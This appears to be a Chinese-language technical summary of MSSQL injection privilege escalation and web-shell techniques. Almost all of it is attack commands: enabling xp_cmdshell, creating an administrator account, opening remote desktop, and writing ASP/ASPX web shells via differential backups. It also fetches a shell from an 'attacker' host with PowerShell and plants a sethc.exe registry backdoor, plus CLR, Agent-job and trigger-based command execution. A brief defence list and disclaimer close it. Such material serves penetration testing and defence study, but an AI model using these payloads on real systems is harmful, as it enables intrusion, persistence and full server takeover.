数据库注入提权总结(三)
字数 754 2025-08-12 11:34:11
MSSQL数据库注入提权与GetShell技术总结
一、扩展存储过程利用
1. xp_cmdshell使用
启用方法:
-- 开启高级选项
execute('sp_configure "show advanced options",1')
execute('reconfigure')
-- 启用xp_cmdshell
execute('sp_configure "xp_cmdshell", 1')
execute('reconfigure')
-- 查看配置
execute('sp_configure')
execute('xp_cmdshell "whoami"')
常用命令:
-- 添加用户并提权
exec xp_cmdshell 'net user Guest 123456'
exec xp_cmdshell 'net user Guest /active:yes'
exec xp_cmdshell 'net localgroup administrators Guest /add'
-- 开启3389端口
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
2. 其他扩展存储过程
- xp_dirtree: 列出目录和子目录
- xp_subdirs: 获取文件夹列表
- xp_fixeddrives: 查看磁盘驱动器剩余空间
- xp_availablemedia: 获取所有驱动器
- xp_fileexist: 判断文件是否存在
- xp_create_subdir: 创建子目录
- xp_delete_file: 删除特定类型文件
- xp_regread/xp_regwrite: 读取/写入注册表
二、GetShell技术
1. 差异备份GetShell
前提条件:
- 具有db_owner权限
- 知道web目录绝对路径
步骤:
-- 1. 完整备份
backup database 库名 to disk = 'c:\ddd.bak';
-- 2. 创建表并插入一句话木马
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E); -- <%execute(request("a"))%>
-- 3. 差异备份到web目录
backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;
2. xp_cmdshell直接写入
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe"c:\\WWW\\404.aspx'
3. 文件下载GetShell
exec xp_cmdshell 'powershell -c "Invoke-WebRequest http://attacker/shell.aspx -OutFile c:\www\shell.aspx"'
三、提权技术
1. xp_cmdshell提权
检查与恢复:
-- 检查xp_cmdshell是否存在
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'
-- 恢复xp_cmdshell
Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll';
2. sp_oacreate提权
启用与使用:
-- 启用OLE Automation Procedures
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures', 1;
reconfigure;
-- 使用wscript.shell执行命令
declare @o int,@e int,@t int,@s varchar(8000)
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',@e out,'cmd.exe /c whoami > c:\out.txt'
3. SQL Server Agent Job
use msdb;
exec sp_delete_job null,'test'
exec sp_add_job 'test'
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"'
exec sp_add_jobserver null,'test',@@servername
exec sp_start_job 'test';
4. CLR提权
步骤:
-- 启用CLR
sp_configure 'show advanced options',1;
RECONFIGURE;
sp_configure 'clr enabled',1;
RECONFIGURE;
ALTER DATABASE master SET TRUSTWORTHY ON;
-- 导入CLR程序集
CREATE ASSEMBLY [mssql_CLR] AUTHORIZATION [dbo] FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;
-- 创建CLR存储过程
CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]
-- 执行命令
exec dbo.ExecCommand "whoami";
5. 触发器提权
create trigger [backdoor] on [user] AFTER UPDATE as
begin
execute master..xp_cmdshell 'cmd.exe /c calc.exe'
end
6. R和Python脚本执行
R脚本:
EXEC sp_execute_external_script @language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
Python脚本:
exec sp_execute_external_script @language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
7. AD Hoc分布式查询与沙盒提权
-- 关闭沙盒模式
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
-- 启用Ad Hoc Distributed Queries
EXEC sp_configure 'ad hoc distributed queries', 1
RECONFIGURE
-- 执行命令
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb', 'select shell("whoami")');
四、实用技巧
1. 寻找绝对路径
-- 使用xp_dirtree
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
-- 使用xp_cmdshell
CREATE TABLE cmdtmp (dir varchar(8000));
insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
2. 无回显命令执行
CREATE TABLE tmpTable (tmp1 varchar(8000));
insert into tmpTable(tmp1) exec xp_cmdshell 'ipconfig';
select * from tmpTable
3. 注册表操作
-- 读取注册表
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName'
-- 写入注册表
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
五、防御建议
- 最小权限原则:限制数据库账户权限
- 禁用不必要的扩展存储过程
- 定期更新和修补SQL Server
- 监控异常数据库活动
- 限制CLR程序集的使用
- 禁用OLE Automation Procedures
- 限制Ad Hoc分布式查询
以上技术仅用于安全研究和授权测试,未经授权使用这些技术可能违反法律。